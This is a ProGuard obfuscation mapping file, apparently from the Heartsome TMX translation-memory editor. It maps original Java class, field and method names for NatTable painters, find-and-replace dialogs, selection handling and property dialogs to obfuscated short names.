getCellTextLayout(net.sourceforge.nattable.layer.cell.LayerCell) -> a + void loadFont(org.eclipse.swt.graphics.Font) -> a + void setupGCFromConfig(org.eclipse.swt.graphics.GC,net.sourceforge.nattable.style.IStyle) -> setupGCFromConfig + org.eclipse.swt.graphics.Font getFont(int) -> getFont + org.eclipse.swt.graphics.FontData[] getFontData(int) -> l +net.heartsome.cat.te.tmxeditor.editor.nattable.painter.FlagPainter -> net.heartsome.cat.te.tmxeditor.editor.nattable.painter.b: + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell +net.heartsome.cat.te.tmxeditor.editor.nattable.painter.LineNumberPainter -> net.heartsome.cat.te.tmxeditor.editor.nattable.painter.c: + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell +net.heartsome.cat.te.tmxeditor.editor.nattable.painter.TmxEditorTextPainter -> net.heartsome.cat.te.tmxeditor.editor.nattable.painter.d: + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable editor -> pU + org.eclipse.swt.graphics.Font font -> font + int ascent -> ascent + int descent -> descent + int tabSize -> tabSize + int tabWidth -> qj + int topPadding -> qk + int rightPadding -> ql + int bottomPadding -> qm + int leftPadding -> qn + int lineSpace -> qo + net.heartsome.cat.common.ui.innertag.InnerTagRender tagRender -> cp + net.heartsome.cat.common.bean.TmxSegement tuv -> pl + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + int getPreferredWidth(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredWidth + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell + org.eclipse.swt.graphics.TextLayout getCellTextLayout(net.sourceforge.nattable.layer.cell.LayerCell) -> a + void loadFont(org.eclipse.swt.graphics.Font) -> a + void setupGCFromConfig(org.eclipse.swt.graphics.GC,net.sourceforge.nattable.style.IStyle) -> setupGCFromConfig + org.eclipse.swt.graphics.Font getFont(int) -> getFont + org.eclipse.swt.graphics.FontData[] getFontData(int) -> l + org.eclipse.swt.graphics.Font getFont() -> getFont + java.lang.String resetRegularString(java.lang.String) -> a + void appendNonprintingStyle(org.eclipse.swt.graphics.TextLayout) -> b +net.heartsome.cat.te.tmxeditor.editor.nattable.search.AbstractFindReplace -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.a: + boolean searchForward -> qp + boolean caseSensitive -> caseSensitive + boolean wholeWord -> qq + boolean regExSearch -> qr + void setSearchStategy(boolean,boolean,boolean,boolean) -> a + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult find(int,int,java.lang.String,java.lang.String) -> a + org.eclipse.jface.text.Region matchString(int,java.lang.String,java.lang.String) -> b +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.b: + org.eclipse.jface.text.IRegion regin -> qs + java.lang.String tuIdentifier -> qt + org.eclipse.jface.text.IRegion getRegin() -> bW + void setRegin(org.eclipse.jface.text.IRegion) -> a + java.lang.String getTuIdentifier() -> bX + void setTuIdentifier(java.lang.String) -> af +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.c: + org.eclipse.swt.widgets.Combo findTextCombo -> qu + org.eclipse.swt.widgets.Combo replaceTextCombo -> qv + org.eclipse.swt.widgets.Button forwardRadioBtn -> qw + org.eclipse.swt.widgets.Button backRadioBtn -> qx + org.eclipse.swt.widgets.Button sourceRadioBtn -> qy + org.eclipse.swt.widgets.Button targetRadioBtn -> qz + org.eclipse.swt.widgets.Button ignoreCaseCheckBtn -> qA + org.eclipse.swt.widgets.Button wholeWordCheckBtn -> qB + org.eclipse.swt.widgets.Button regExCheckBtn -> qC + org.eclipse.swt.widgets.Button findBtn -> qD + org.eclipse.swt.widgets.Button replaceFindBtn -> qE + org.eclipse.swt.widgets.Button replaceBtn -> qF + org.eclipse.swt.widgets.Button replaceAllBtn -> qG + org.eclipse.swt.widgets.Label statusLabel -> qH + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess tmxDataAccess -> ns + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable tmxEditorImpWithNattable -> nA + net.heartsome.cat.te.tmxeditor.editor.nattable.search.AbstractFindReplace findImpl -> qI + void setTmxDataAccess(net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess) -> c + void setTmxEditorImpWithNattable(net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable) -> j + void setFindText(java.lang.String) -> ag + void clearResource() -> I + boolean close() -> close + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + boolean find() -> find + void replace() -> bY + void replaceFind() -> bZ + void replaceAll() -> ca + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult doFind(int,int,java.lang.String,java.lang.String,boolean,boolean,boolean,boolean) -> a + void processFindResult(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult,int,int,boolean) -> a + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void updateCombHistory(org.eclipse.swt.widgets.Combo) -> a + void writeDialogSettings() -> cb + void loadDialogSettings() -> loadDialogSettings + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + boolean access$0(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> a + void access$1(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> b + void access$2(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> c + void access$3(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> e + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> f + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess access$6(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> g + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable access$7(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> h + org.eclipse.swt.widgets.Button access$8(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> i + org.eclipse.swt.widgets.Button access$9(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> j + org.eclipse.swt.widgets.Button access$10(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> k + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult access$11(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog,int,int,java.lang.String,java.lang.String,boolean,boolean,boolean,boolean) -> a + org.eclipse.swt.widgets.Label access$12(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog) -> l + void access$13(net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog,net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult,int,int,boolean) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$1 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.d: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$2 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.e: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$3 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.f: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$4 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.g: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$5 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.h: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$6 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.i: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + java.lang.String val$findStr -> qK + boolean[] val$result -> qL + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog$7 -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.j: + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReplaceDialog this$0 -> qJ + java.lang.String val$findStr -> qK + void run() -> run +net.heartsome.cat.te.tmxeditor.editor.nattable.search.TmDBFindReplaceImpl -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.k: + net.heartsome.cat.te.core.tmxdata.DatabaseDataAccess dataAccess -> qM + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult find(int,int,java.lang.String,java.lang.String) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.search.TmDBFindReplaceImpl$FindData -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.l: + boolean searchForward -> qp + boolean caseSensitive -> caseSensitive + boolean wholeWord -> qq + boolean regExSearch -> qr + java.lang.String lang -> qN + java.lang.String findStr -> qO + net.heartsome.cat.te.tmxeditor.editor.nattable.search.TmDBFindReplaceImpl this$0 -> qP + boolean equals(boolean,boolean,boolean,boolean,java.lang.String,java.lang.String) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.search.TmxFileFindReplaceImpl -> net.heartsome.cat.te.tmxeditor.editor.nattable.search.m: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess tmxDataAccess -> qQ + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult find(int,int,java.lang.String,java.lang.String) -> a + net.heartsome.cat.te.tmxeditor.editor.nattable.search.FindReasult forwardReadContent4Match(java.lang.String,net.heartsome.xml.vtdimpl.VTDUtils,java.lang.String,int) -> a +net.heartsome.cat.te.tmxeditor.editor.nattable.selection.RowSelectionProvider -> net.heartsome.cat.te.tmxeditor.editor.nattable.selection.a: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + boolean fullySelectedRowsOnly -> qR + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess dataAccess -> qS + java.util.Set listeners -> qT + void addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> addSelectionChangedListener + org.eclipse.jface.viewers.ISelection getSelection() -> getSelection + void removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> removeSelectionChangedListener + void setSelection(org.eclipse.jface.viewers.ISelection) -> setSelection + void handleLayerEvent(net.sourceforge.nattable.layer.event.ILayerEvent) -> handleLayerEvent +net.heartsome.cat.te.tmxeditor.editor.nattable.selection.TmxEditorRowSelectionModel -> net.heartsome.cat.te.tmxeditor.editor.nattable.selection.b: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + org.eclipse.swt.graphics.Rectangle lastSelectedRange -> qU + java.util.Set selectedRows -> qV + java.util.Set lastSelectedRowIds -> qW + java.util.concurrent.locks.ReadWriteLock selectionsLock -> qX + java.util.concurrent.locks.ReadWriteLock getSelectionsLock() -> cc + void clearSelection() -> clearSelection + boolean isColumnPositionSelected(int) -> isColumnPositionSelected + int[] getSelectedColumns() -> getSelectedColumns + void addSelection(int,int) -> addSelection + void addSelection(org.eclipse.swt.graphics.Rectangle) -> addSelection + int[] getFullySelectedColumns(int) -> getFullySelectedColumns + int[] getFullySelectedRows(int) -> getFullySelectedRows + int getSelectedRowCount() -> getSelectedRowCount + java.util.Set getSelectedRows() -> getSelectedRows + java.util.List getSelections() -> getSelections + boolean isCellPositionSelected(int,int) -> isCellPositionSelected + boolean isColumnFullySelected(int,int) -> isColumnFullySelected + boolean isEmpty() -> isEmpty + boolean isRowFullySelected(int,int) -> isRowFullySelected + boolean isRowPositionSelected(int) -> isRowPositionSelected + void removeSelection(org.eclipse.swt.graphics.Rectangle) -> removeSelection + void removeSelection(int,int) -> removeSelection +net.heartsome.cat.te.tmxeditor.editor.nattable.undo.UpdateDataOperation -> net.heartsome.cat.te.tmxeditor.editor.nattable.undo.a: + java.lang.Object oldValue -> qY + net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommand command -> qZ + net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable$BodyLayer bodyLayer -> oJ + net.sourceforge.nattable.NatTable table -> pW + int rowIndex -> rowIndex + int colIndex -> ra + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + org.eclipse.core.runtime.IStatus updateData(java.lang.String,boolean) -> a +net.heartsome.cat.te.tmxeditor.handler.AddTuHandler -> net.heartsome.cat.te.tmxeditor.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.tmxeditor.handler.CleartInnertTagHanlder -> net.heartsome.cat.te.tmxeditor.handler.b: +net.heartsome.cat.te.tmxeditor.handler.DeleteTuHandler -> net.heartsome.cat.te.tmxeditor.handler.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.tmxeditor.handler.ShowHidenNonPrintingCharacterHandler -> net.heartsome.cat.te.tmxeditor.handler.d: + boolean isSelected -> isSelected + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void updateElement(org.eclipse.ui.menus.UIElement,java.util.Map) -> updateElement +net.heartsome.cat.te.tmxeditor.handler.SplitPointSettingHandler -> net.heartsome.cat.te.tmxeditor.handler.e: + void addSplitPoint() -> cd + void removeSplitPoint() -> ce +net.heartsome.cat.te.tmxeditor.preference.TMXEditorPreferenceInitializer -> net.heartsome.cat.te.tmxeditor.preference.a: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.te.tmxeditor.propertytester.TmxEditorTester -> net.heartsome.cat.te.tmxeditor.propertytester.a: + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.te.tmxeditor.resource.Messages -> net.heartsome.cat.te.tmxeditor.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog -> net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog: + int okButtonFlag -> rb + org.eclipse.swt.widgets.Text txtValue -> rc + org.eclipse.swt.widgets.Text txtName -> txtName + net.heartsome.cat.common.bean.TmxTU tu -> s + net.heartsome.cat.common.bean.TmxSegement tuv -> pl + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector attr -> rd + org.eclipse.swt.widgets.Text txtErrorInfo -> re + org.eclipse.swt.widgets.Button btnAllTu -> rf + org.eclipse.swt.widgets.Button btnFiltered -> rg + org.eclipse.swt.widgets.Button btnCurrentSelected -> rh + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + boolean hasAttr(java.lang.String) -> ah + void setFlag(int,int) -> f + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + void main(java.lang.String[]) -> main + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog) -> a + boolean access$1(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog,java.lang.String) -> a + int access$2(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog) -> b + void access$3(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog,int,int) -> a + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector access$4(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog) -> c + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog) -> d + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog) -> e + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog) -> f +net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$1 -> net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$1: + net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog this$0 -> ri + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$2 -> net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$2: + net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog this$0 -> ri + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$3 -> net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$3: + net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog this$0 -> ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$4 -> net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog$4: + net.heartsome.cat.te.tmxeditor.view.AddElementAttrDialog this$0 -> ri + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.AddElementDialog -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog: + int category -> category + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector elem -> rj + org.eclipse.swt.widgets.Button btnAllTu -> rf + org.eclipse.swt.widgets.Button btnFiltered -> rg + org.eclipse.swt.widgets.Button btnCurrentSelected -> rh + org.eclipse.swt.widgets.Text txtNoteContent -> rk + org.eclipse.swt.widgets.Text txtPropContent -> rl + org.eclipse.swt.widgets.Text txtPropType -> rm + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void creatCopyComposite(org.eclipse.swt.widgets.Composite) -> p + void createNoteComposite(org.eclipse.swt.widgets.Composite) -> q + void creatPropComposite(org.eclipse.swt.widgets.Composite) -> r + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.te.tmxeditor.view.AddElementDialog,int) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.te.tmxeditor.view.AddElementDialog) -> a + org.eclipse.swt.widgets.Text access$2(net.heartsome.cat.te.tmxeditor.view.AddElementDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.te.tmxeditor.view.AddElementDialog) -> c +net.heartsome.cat.te.tmxeditor.view.AddElementDialog$1 -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog$1: + net.heartsome.cat.te.tmxeditor.view.AddElementDialog this$0 -> rn + org.eclipse.swt.widgets.Button val$btnOverwrite -> ro + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.AddElementDialog$2 -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog$2: + net.heartsome.cat.te.tmxeditor.view.AddElementDialog this$0 -> rn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.AddElementDialog$3 -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog$3: + net.heartsome.cat.te.tmxeditor.view.AddElementDialog this$0 -> rn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.AddElementDialog$4 -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog$4: + net.heartsome.cat.te.tmxeditor.view.AddElementDialog this$0 -> rn + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.AddElementDialog$5 -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog$5: + net.heartsome.cat.te.tmxeditor.view.AddElementDialog this$0 -> rn + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.AddElementDialog$6 -> net.heartsome.cat.te.tmxeditor.view.AddElementDialog$6: + net.heartsome.cat.te.tmxeditor.view.AddElementDialog this$0 -> rn + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.DeleteConfirmDialog -> net.heartsome.cat.te.tmxeditor.view.DeleteConfirmDialog: + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector attr -> rd + org.eclipse.swt.widgets.Button btnAllTu -> rf + org.eclipse.swt.widgets.Button btnFiltered -> rg + org.eclipse.swt.widgets.Button btnCurrentSelected -> rh + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector elem -> rj + int category -> category + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed +net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog -> net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog: + org.eclipse.swt.widgets.Text valueTxt -> rp + org.eclipse.swt.widgets.DateTime dateWidget -> rq + org.eclipse.swt.widgets.DateTime timeWidget -> rr + org.eclipse.swt.widgets.Text nameTxt -> mZ + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AttrCollector attrCollector -> rs + java.lang.String oldName -> rt + java.lang.String oldValue -> oldValue + org.eclipse.swt.widgets.Button allFileOrDBBtn -> ru + org.eclipse.swt.widgets.Button curSelectRowBtn -> rv + org.eclipse.swt.widgets.Button allFilterResultBtn -> rw + int category -> category + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog,int) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog) -> a +net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog$1 -> net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog$1: + net.heartsome.cat.te.tmxeditor.view.EditElementAttrDialog this$0 -> rx + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.EditElementDialog -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog: + int category -> category + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector elem -> rj + org.eclipse.swt.widgets.Button btnAllTu -> rf + org.eclipse.swt.widgets.Button btnFiltered -> rg + org.eclipse.swt.widgets.Button btnCurrentSelected -> rh + org.eclipse.swt.widgets.Text txtNoteContent -> rk + org.eclipse.swt.widgets.Text txtPropContent -> rl + org.eclipse.swt.widgets.Text txtPropType -> rm + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createNoteComposite(org.eclipse.swt.widgets.Composite) -> q + void creatPropComposite(org.eclipse.swt.widgets.Composite) -> r + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.te.tmxeditor.view.EditElementDialog) -> a + net.heartsome.cat.te.tmxeditor.view.PropertiesView$ElemCollector access$1(net.heartsome.cat.te.tmxeditor.view.EditElementDialog) -> b + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.te.tmxeditor.view.EditElementDialog) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.te.tmxeditor.view.EditElementDialog,int) -> a + org.eclipse.swt.widgets.Text access$4(net.heartsome.cat.te.tmxeditor.view.EditElementDialog) -> d + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.te.tmxeditor.view.EditElementDialog) -> e + org.eclipse.swt.widgets.Text access$6(net.heartsome.cat.te.tmxeditor.view.EditElementDialog) -> f +net.heartsome.cat.te.tmxeditor.view.EditElementDialog$1 -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog$1: + net.heartsome.cat.te.tmxeditor.view.EditElementDialog this$0 -> ry + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.EditElementDialog$2 -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog$2: + net.heartsome.cat.te.tmxeditor.view.EditElementDialog this$0 -> ry + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.EditElementDialog$3 -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog$3: + net.heartsome.cat.te.tmxeditor.view.EditElementDialog this$0 -> ry + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.EditElementDialog$4 -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog$4: + net.heartsome.cat.te.tmxeditor.view.EditElementDialog this$0 -> ry + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.EditElementDialog$5 -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog$5: + net.heartsome.cat.te.tmxeditor.view.EditElementDialog this$0 -> ry + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.tmxeditor.view.EditElementDialog$6 -> net.heartsome.cat.te.tmxeditor.view.EditElementDialog$6: + net.heartsome.cat.te.tmxeditor.view.EditElementDialog this$0 -> ry + org.eclipse.swt.widgets.Button val$btnNameOnly -> rz + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.tmxeditor.view.PasteElementDialog -> net.heartsome.cat.te.tmxeditor.view.PasteElementDialog: + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed +net.heartsome.cat.te.tmxeditor.view.PropertiesView -> net.heartsome.cat.te.tmxeditor.view.PropertiesView: + java.lang.String ID -> ID + int TU_ATTRS -> TU_ATTRS + int TU_NODE_PROPS -> TU_NODE_PROPS + int TUV_ATTRS -> TUV_ATTRS + int TU_NODE_NOTE -> TU_NODE_NOTE + int TU_PROP_COPY -> TU_PROP_COPY + int SELECTED_TU -> SELECTED_TU + int FILTERED_TU -> FILTERED_TU + int ALL_TU -> ALL_TU + org.slf4j.Logger LOGGER -> LOGGER + int commandFromID -> rA + net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess tmxDataAccess -> ns + org.eclipse.swt.custom.ScrolledComposite scrolledComposite -> rB + org.eclipse.swt.widgets.Composite compostie -> rC + java.util.Map tableViewerManager -> rD + net.heartsome.cat.te.tmxeditor.view.PropertiesView$AddAction addAction -> rE + net.heartsome.cat.te.tmxeditor.view.PropertiesView$EditAction editAction -> rF + net.heartsome.cat.te.tmxeditor.view.PropertiesView$DeleteAction deleteAction -> rG + net.heartsome.cat.te.tmxeditor.view.TmxEditorOpenCloseListener editorOpenCloseListener -> rH + net.heartsome.cat.te.core.bean.TmxEditorSelection currentSelected -> rI + org.eclipse.ui.ISelectionListener tmxEditorSelectionListener -> rJ + net.heartsome.cat.common.bean.TmxProp currentTuPropSelecet -> rK + 